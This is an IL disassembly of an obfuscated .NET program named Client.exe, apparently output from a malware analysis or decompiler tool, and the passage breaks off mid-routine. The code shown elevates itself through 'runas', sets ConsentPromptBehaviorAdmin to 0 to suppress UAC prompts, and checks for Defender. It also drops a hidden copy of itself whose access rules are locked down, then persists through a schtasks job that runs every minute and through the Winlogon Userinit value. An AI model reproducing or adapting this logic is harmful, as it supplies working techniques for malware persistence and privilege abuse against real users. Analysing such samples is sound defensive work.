ldloc.s V_23
ldc.i4.1 <null>
ldc.i4.1 <null>
stelem.i1 <null>
ldloc.s V_23
ldc.i4.2 <null>
ldc.i4.0 <null>
stelem.i1 <null>
ldloc.s V_23
ldc.i4.1 <null>
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean)
pop <null>
ldloc.s V_23
ldc.i4.1 <null>
ldelem.i1 <null>
brfalse.s IL_05AA: ldloc.s V_18
ldloc.s V_22
ldc.i4.1 <null>
ldelem.ref <null>
call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object)
ldtoken System.String
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type)
castclass System.String
stloc.s V_16
ldloc.s V_18
ldnull <null>
ldstr Close
ldc.i4.0 <null>
newarr System.Object
ldnull <null>
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean)
pop <null>
ldloc.s V_17
ldnull <null>
ldstr Close
ldc.i4.0 <null>
newarr System.Object
ldnull <null>
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean)
pop <null>
leave.s IL_05E8: call System.Void STB.6w8folpp8f1aZA3Gfs5pUoqUaTkbjo6hewy5UFJ3ViEV4ucLinME0BlRF==::4lZLQk3rM==()
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_05E8: call System.Void STB.6w8folpp8f1aZA3Gfs5pUoqUaTkbjo6hewy5UFJ3ViEV4ucLinME0BlRF==::4lZLQk3rM==()
call System.Void STB.6w8folpp8f1aZA3Gfs5pUoqUaTkbjo6hewy5UFJ3ViEV4ucLinME0BlRF==::4lZLQk3rM==()
ldnull <null>
ldftn System.Void STB.ptL==::kpbbr8W4edx11oQQnn85CimR13hLw4uZ+yNqh+T7/xm70TZIz7YAZB2B==()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
callvirt System.Void System.Threading.Thread::Start()
call System.Boolean STB.ptL==::L8AkRsYvSJC2sm==()
brfalse.s IL_0620: call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess()
call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess()
ldc.i4 256
callvirt System.Void System.Diagnostics.Process::set_PriorityClass(System.Diagnostics.ProcessPriorityClass)
call System.Void STB.AQqY39anmrCUMDHOyp4z2w10m5DDMVXxEf9u9a==::DIF6Xu8sXI+NWl+erzcCt/3RraKjXh38QH161HXZJtcUPs==()
br.s IL_062F: ldnull
call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess()
ldc.i4 128
callvirt System.Void System.Diagnostics.Process::set_PriorityClass(System.Diagnostics.ProcessPriorityClass)
ldnull <null>
ldftn System.Void STB.ptL==::Jl0==()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.2 <null>
ldnull <null>
ldftn System.Void STB.ptL==::KImvY3DbmvpUA6Q7qchdZX0fu/8==()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.3 <null>
ldloc.2 <null>
callvirt System.Void System.Threading.Thread::Start()
ldloc.3 <null>
callvirt System.Void System.Threading.Thread::Start()
ldloc.3 <null>
callvirt System.Void System.Threading.Thread::Join()
ret <null>
Module Name
Client.exe
Full Name
Client.exe
EntryPoint
System.Void STB.ptL==::GFc9O8aeeHVB4d/mLiqQp6JbZ8QCuM9TKM3joQhNfCJX9b/lmubOKv==()
Scope Name
Client.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
Client
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
450
Main Method
System.Void STB.ptL==::GFc9O8aeeHVB4d/mLiqQp6JbZ8QCuM9TKM3joQhNfCJX9b/lmubOKv==()
Main IL Instruction Count
534
Main IL 
ldsfld System.Int32 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::MZQPPyx/OnN32hDH1EG==
ldc.i4 1000
mul.ovf <null>
call System.Void System.Threading.Thread::Sleep(System.Int32)
call System.Void STB.ptL==::7kT+KwhMu/naKi==()
leave.s IL_0095: call System.Boolean STB.ptL==::L8AkRsYvSJC2sm==()
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
ldc.i4 1500
call System.Void System.Threading.Thread::Sleep(System.Int32)
call System.Void STB.ptL==::7kT+KwhMu/naKi==()
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0095: call System.Boolean STB.ptL==::L8AkRsYvSJC2sm==()
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
stloc.s V_4
ldloc.s V_4
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
ldloc.s V_4
call System.String System.Environment::get_CurrentDirectory()
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WorkingDirectory(System.String)
ldloc.s V_4
call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess()
callvirt System.Diagnostics.ProcessModule System.Diagnostics.Process::get_MainModule()
callvirt System.String System.Diagnostics.ProcessModule::get_FileName()
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
ldloc.s V_4
ldstr runas
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Verb(System.String)
ldloc.s V_4
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
leave.s IL_0095: call System.Boolean STB.ptL==::L8AkRsYvSJC2sm==()
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
ldc.i4 200
call System.Void System.Threading.Thread::Sleep(System.Int32)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0095: call System.Boolean STB.ptL==::L8AkRsYvSJC2sm==()
call System.Boolean STB.ptL==::L8AkRsYvSJC2sm==()
brfalse.s IL_0032: newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::LocalMachine
ldstr SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
ldc.i4.1 <null>
callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean)
stloc.s V_5
ldloc.s V_5
brfalse.s IL_00CE: leave.s IL_00DC
ldloc.s V_5
ldstr ConsentPromptBehaviorAdmin
ldc.i4.0 <null>
box System.Int32
ldc.i4.4 <null>
callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object,Microsoft.Win32.RegistryValueKind)
ldloc.s V_5
callvirt System.Void Microsoft.Win32.RegistryKey::Close()
leave.s IL_00DC: ldsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::gkb==
leave.s IL_00DC: ldsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::gkb==
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_00DC: ldsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::gkb==
ldsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::gkb==
call System.Object STB.PwEokbC4/iiB+HiICgLn6GxoB4Z2wYmENvD4WscRScBguyQ2BRRVEaCJ+bmr==::7e0PDqxWE6VeER6Pnj0fGR/ys657FwPFUakP+B==(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::gkb==
ldsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::r13lQmJPCt6u/xKjC5sfd1rhevTlU6WMrIGo0AHRi8==
call System.Object STB.PwEokbC4/iiB+HiICgLn6GxoB4Z2wYmENvD4WscRScBguyQ2BRRVEaCJ+bmr==::7e0PDqxWE6VeER6Pnj0fGR/ys657FwPFUakP+B==(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::r13lQmJPCt6u/xKjC5sfd1rhevTlU6WMrIGo0AHRi8==
ldsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::13/CxpGU5Jhm95Sm9w7g2nL3Zfshcdl8KfdUZNdmscGFF==
call System.Object STB.PwEokbC4/iiB+HiICgLn6GxoB4Z2wYmENvD4WscRScBguyQ2BRRVEaCJ+bmr==::7e0PDqxWE6VeER6Pnj0fGR/ys657FwPFUakP+B==(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::13/CxpGU5Jhm95Sm9w7g2nL3Zfshcdl8KfdUZNdmscGFF==
ldsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::zkoPoRjLqIkqhgLbgQRZyzydslX3sMS5==
call System.Object STB.PwEokbC4/iiB+HiICgLn6GxoB4Z2wYmENvD4WscRScBguyQ2BRRVEaCJ+bmr==::7e0PDqxWE6VeER6Pnj0fGR/ys657FwPFUakP+B==(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::zkoPoRjLqIkqhgLbgQRZyzydslX3sMS5==
ldsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::Dx31MW7MH==
call System.Object STB.PwEokbC4/iiB+HiICgLn6GxoB4Z2wYmENvD4WscRScBguyQ2BRRVEaCJ+bmr==::7e0PDqxWE6VeER6Pnj0fGR/ys657FwPFUakP+B==(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::Dx31MW7MH==
ldsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::58OdJFIl3NsIpS8k4cjlcec+MwSVzZhGxxlwS+T==
call System.Object STB.PwEokbC4/iiB+HiICgLn6GxoB4Z2wYmENvD4WscRScBguyQ2BRRVEaCJ+bmr==::7e0PDqxWE6VeER6Pnj0fGR/ys657FwPFUakP+B==(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::58OdJFIl3NsIpS8k4cjlcec+MwSVzZhGxxlwS+T==
ldsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::MOUxFroTBgoN1KWG==
call System.Object STB.PwEokbC4/iiB+HiICgLn6GxoB4Z2wYmENvD4WscRScBguyQ2BRRVEaCJ+bmr==::7e0PDqxWE6VeER6Pnj0fGR/ys657FwPFUakP+B==(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
call System.String System.Environment::ExpandEnvironmentVariables(System.String)
stsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::MOUxFroTBgoN1KWG==
ldsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::Sk7HWtD2riuBya8hleSJ9N6rmUsC7Qee6==
call System.Object STB.PwEokbC4/iiB+HiICgLn6GxoB4Z2wYmENvD4WscRScBguyQ2BRRVEaCJ+bmr==::7e0PDqxWE6VeER6Pnj0fGR/ys657FwPFUakP+B==(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::Sk7HWtD2riuBya8hleSJ9N6rmUsC7Qee6==
leave.s IL_0198: call System.Boolean STB.6w8folpp8f1aZA3Gfs5pUoqUaTkbjo6hewy5UFJ3ViEV4ucLinME0BlRF==::Yfy==()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_6
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0198: call System.Boolean STB.6w8folpp8f1aZA3Gfs5pUoqUaTkbjo6hewy5UFJ3ViEV4ucLinME0BlRF==::Yfy==()
call System.Boolean STB.6w8folpp8f1aZA3Gfs5pUoqUaTkbjo6hewy5UFJ3ViEV4ucLinME0BlRF==::Yfy==()
brtrue.s IL_01A5: call System.Void STB.LoXYfg0oAMccVtNMvsZGlFXsEWBzUGBY6IP+YQ1fFn7eAFHrKowBm1VFQq==::OVosV/yEyKtu8sADTBS7k5O70SKs0X6X9V5IZokLScbShGhL49rJmwaUHt4D1==()
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void STB.LoXYfg0oAMccVtNMvsZGlFXsEWBzUGBY6IP+YQ1fFn7eAFHrKowBm1VFQq==::OVosV/yEyKtu8sADTBS7k5O70SKs0X6X9V5IZokLScbShGhL49rJmwaUHt4D1==()
ldsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::MOUxFroTBgoN1KWG==
ldstr \
ldsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::Sk7HWtD2riuBya8hleSJ9N6rmUsC7Qee6==
call System.String System.String::Concat(System.String,System.String,System.String)
stloc.1 <null>
ldnull <null>
stloc.0 <null>
ldloc.1 <null>
newobj System.Void System.IO.FileInfo::.ctor(System.String)
callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory()
callvirt System.String System.IO.DirectoryInfo::get_FullName()
stloc.s V_7
ldloc.s V_7
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
call System.Boolean System.IO.Directory::Exists(System.String)
brtrue.s IL_01EE: ldloc.1
ldloc.s V_7
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String)
pop <null>
ldloc.1 <null>
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_024B: leave.s IL_0259
ldloc.1 <null>
newobj System.Void System.IO.FileInfo::.ctor(System.String)
stloc.s V_9
ldloc.1 <null>
call System.Security.AccessControl.FileSecurity System.IO.File::GetAccessControl(System.String)
stloc.s V_8
ldloc.s V_8
ldc.i4.7 <null>
ldnull <null>
newobj System.Void System.Security.Principal.SecurityIdentifier::.ctor(System.Security.Principal.WellKnownSidType,System.Security.Principal.SecurityIdentifier)
callvirt System.Void System.Security.AccessControl.ObjectSecurity::PurgeAccessRules(System.Security.Principal.IdentityReference)
ldloc.s V_8
ldc.i4.1 <null>
ldnull <null>
newobj System.Void System.Security.Principal.SecurityIdentifier::.ctor(System.Security.Principal.WellKnownSidType,System.Security.Principal.SecurityIdentifier)
callvirt System.Void System.Security.AccessControl.ObjectSecurity::PurgeAccessRules(System.Security.Principal.IdentityReference)
ldloc.s V_8
ldc.i4.s 17
ldnull <null>
newobj System.Void System.Security.Principal.SecurityIdentifier::.ctor(System.Security.Principal.WellKnownSidType,System.Security.Principal.SecurityIdentifier)
callvirt System.Void System.Security.AccessControl.ObjectSecurity::PurgeAccessRules(System.Security.Principal.IdentityReference)
ldloc.1 <null>
ldloc.s V_8
call System.Void System.IO.File::SetAccessControl(System.String,System.Security.AccessControl.FileSecurity)
ldloc.1 <null>
ldc.i4 128
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
ldloc.s V_9
callvirt System.Void System.IO.FileInfo::Delete()
leave.s IL_0259: ldloc.1
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0259: ldloc.1
ldloc.1 <null>
ldsfld System.String STB.6w8folpp8f1aZA3Gfs5pUoqUaTkbjo6hewy5UFJ3ViEV4ucLinME0BlRF==::07fx14/VydPQMRojoUt51e3AG4oHXWwZAKsUoKctsCymA3ReYzYHM==
call System.Byte[] System.IO.File::ReadAllBytes(System.String)
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
ldloc.1 <null>
ldc.i4.3 <null>
ldc.i4.3 <null>
ldc.i4.0 <null>
newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode,System.IO.FileAccess,System.IO.FileShare)
stloc.0 <null>
ldloc.1 <null>
call System.Security.AccessControl.FileSecurity System.IO.File::GetAccessControl(System.String)
stloc.s V_10
ldloc.s V_10
ldc.i4.7 <null>
ldnull <null>
newobj System.Void System.Security.Principal.SecurityIdentifier::.ctor(System.Security.Principal.WellKnownSidType,System.Security.Principal.SecurityIdentifier)
callvirt System.Void System.Security.AccessControl.ObjectSecurity::PurgeAccessRules(System.Security.Principal.IdentityReference)
ldloc.s V_10
ldc.i4.1 <null>
ldnull <null>
newobj System.Void System.Security.Principal.SecurityIdentifier::.ctor(System.Security.Principal.WellKnownSidType,System.Security.Principal.SecurityIdentifier)
callvirt System.Void System.Security.AccessControl.ObjectSecurity::PurgeAccessRules(System.Security.Principal.IdentityReference)
ldloc.s V_10
ldc.i4.s 17
ldnull <null>
newobj System.Void System.Security.Principal.SecurityIdentifier::.ctor(System.Security.Principal.WellKnownSidType,System.Security.Principal.SecurityIdentifier)
callvirt System.Void System.Security.AccessControl.ObjectSecurity::PurgeAccessRules(System.Security.Principal.IdentityReference)
ldloc.s V_10
call System.String System.Environment::get_UserName()
ldc.i4 65536
ldc.i4.1 <null>
newobj System.Void System.Security.AccessControl.FileSystemAccessRule::.ctor(System.String,System.Security.AccessControl.FileSystemRights,System.Security.AccessControl.AccessControlType)
callvirt System.Void System.Security.AccessControl.FileSystemSecurity::AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
ldloc.s V_10
ldc.i4.1 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Int32)
ldc.i4 65536
ldc.i4.1 <null>
newobj System.Void System.Security.AccessControl.FileSystemAccessRule::.ctor(System.String,System.Security.AccessControl.FileSystemRights,System.Security.AccessControl.AccessControlType)
callvirt System.Void System.Security.AccessControl.FileSystemSecurity::AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
ldloc.s V_10
ldstr System
ldc.i4 65536
ldc.i4.1 <null>
newobj System.Void System.Security.AccessControl.FileSystemAccessRule::.ctor(System.String,System.Security.AccessControl.FileSystemRights,System.Security.AccessControl.AccessControlType)
callvirt System.Void System.Security.AccessControl.FileSystemSecurity::AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
ldloc.s V_10
ldc.i4.1 <null>
ldc.i4.1 <null>
callvirt System.Void System.Security.AccessControl.ObjectSecurity::SetAccessRuleProtection(System.Boolean,System.Boolean)
ldloc.1 <null>
ldloc.s V_10
call System.Void System.IO.File::SetAccessControl(System.String,System.Security.AccessControl.FileSecurity)
leave.s IL_030B: ldloc.1
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_030B: ldloc.1
ldloc.1 <null>
ldc.i4.7 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
leave.s IL_0321: call System.String STB.LoXYfg0oAMccVtNMvsZGlFXsEWBzUGBY6IP+YQ1fFn7eAFHrKowBm1VFQq==::TeA/DIAIQUWsekxUFSBOl1q0aobu==()
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0321: call System.String STB.LoXYfg0oAMccVtNMvsZGlFXsEWBzUGBY6IP+YQ1fFn7eAFHrKowBm1VFQq==::TeA/DIAIQUWsekxUFSBOl1q0aobu==()
endfinally <null>
call System.String STB.LoXYfg0oAMccVtNMvsZGlFXsEWBzUGBY6IP+YQ1fFn7eAFHrKowBm1VFQq==::TeA/DIAIQUWsekxUFSBOl1q0aobu==()
callvirt System.String System.String::ToLower()
ldstr defender
callvirt System.Boolean System.String::Contains(System.String)
brtrue.s IL_0348: call System.Void STB.ptL==::96Bcwmxxd98rbAwvIa+rmosPhHT3==()
call System.String STB.LoXYfg0oAMccVtNMvsZGlFXsEWBzUGBY6IP+YQ1fFn7eAFHrKowBm1VFQq==::TeA/DIAIQUWsekxUFSBOl1q0aobu==()
ldstr None
callvirt System.Boolean System.String::Equals(System.String)
brfalse.s IL_034D: ldstr "schtasks.exe"
call System.Void STB.ptL==::96Bcwmxxd98rbAwvIa+rmosPhHT3==()
ldstr schtasks.exe
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String)
stloc.s V_12
ldloc.s V_12
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.Boolean STB.ptL==::L8AkRsYvSJC2sm==()
brfalse.s IL_03AE: ldloc.s V_12
ldloc.s V_12
ldc.i4.5 <null>
newarr System.String
stloc.s V_19
ldloc.s V_19
ldc.i4.0 <null>
ldstr /create /f /RL HIGHEST /sc minute /mo 1 /tn "
stelem.ref <null>
ldloc.s V_19
ldc.i4.1 <null>
ldsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::Sk7HWtD2riuBya8hleSJ9N6rmUsC7Qee6==
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
stelem.ref <null>
ldloc.s V_19
ldc.i4.2 <null>
ldstr " /tr "
stelem.ref <null>
ldloc.s V_19
ldc.i4.3 <null>
ldloc.1 <null>
stelem.ref <null>
ldloc.s V_19
ldc.i4.4 <null>
ldstr "
stelem.ref <null>
ldloc.s V_19
call System.String System.String::Concat(System.String[])
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
br.s IL_03F2: ldloc.s V_12
ldloc.s V_12
ldc.i4.5 <null>
newarr System.String
stloc.s V_19
ldloc.s V_19
ldc.i4.0 <null>
ldstr /create /f /sc minute /mo 1 /tn "
stelem.ref <null>
ldloc.s V_19
ldc.i4.1 <null>
ldsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::Sk7HWtD2riuBya8hleSJ9N6rmUsC7Qee6==
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
stelem.ref <null>
ldloc.s V_19
ldc.i4.2 <null>
ldstr " /tr "
stelem.ref <null>
ldloc.s V_19
ldc.i4.3 <null>
ldloc.1 <null>
stelem.ref <null>
ldloc.s V_19
ldc.i4.4 <null>
ldstr "
stelem.ref <null>
ldloc.s V_19
call System.String System.String::Concat(System.String[])
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
ldloc.s V_12
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
stloc.s V_11
leave.s IL_0409: ldsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::MOUxFroTBgoN1KWG==
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0409: ldsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::MOUxFroTBgoN1KWG==
ldsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::MOUxFroTBgoN1KWG==
ldsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::Sk7HWtD2riuBya8hleSJ9N6rmUsC7Qee6==
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.s V_13
call My.PcsStovW+YgvL77xuwdZPj2x/XA== My.hfdyy4goDoybTzzJxcCeeKORbNW1OYxCxUOkKa==::FjoQC+F45==()
callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry()
callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_LocalMachine()
ldstr SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
ldc.i4.1 <null>
callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean)
stloc.s V_15
ldloc.s V_15
ldnull <null>
ldstr GetValue
ldc.i4.1 <null>
newarr System.Object
stloc.s V_20
ldloc.s V_20
ldc.i4.0 <null>
ldstr Userinit
stelem.ref <null>
ldloc.s V_20
ldnull <null>
ldnull <null>
ldnull <null>
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[])
callvirt System.String System.Object::ToString()
stloc.s V_14
ldloc.s V_14
ldloc.s V_13
callvirt System.Boolean System.String::Contains(System.String)
brtrue.s IL_04B7: ldloc.s V_15
ldloc.s V_15
ldnull <null>
ldstr SetValue
ldc.i4.2 <null>
newarr System.Object
stloc.s V_20
ldloc.s V_20
ldc.i4.0 <null>
ldstr Userinit
stelem.ref <null>
ldloc.s V_20
ldc.i4.1 <null>
ldloc.s V_14
ldc.i4.1 <null>
newarr System.Char
stloc.s V_21
ldloc.s V_21
ldc.i4.0 <null>
ldc.i4.s 44
stelem.i2 <null>
ldloc.s V_21
callvirt System.String System.String::TrimEnd(System.Char[])
ldstr ,
ldloc.s V_13
call System.String System.String::Concat(System.String,System.String,System.String)
stelem.ref <null>
ldloc.s V_20
ldnull <null>
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean)
pop <null>
ldloc.s V_15
ldnull <null>
ldstr Close
ldc.i4.0 <null>
newarr System.Object
ldnull <null>
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean)
pop <null>
leave.s IL_04DD: ldsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::MOUxFroTBgoN1KWG==
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_04DD: ldsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::MOUxFroTBgoN1KWG==
ldsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::MOUxFroTBgoN1KWG==
ldsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::Sk7HWtD2riuBya8hleSJ9N6rmUsC7Qee6==
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.s V_16
call My.PcsStovW+YgvL77xuwdZPj2x/XA== My.hfdyy4goDoybTzzJxcCeeKORbNW1OYxCxUOkKa==::FjoQC+F45==()
callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry()
callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_LocalMachine()
ldstr SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
ldc.i4.1 <null>
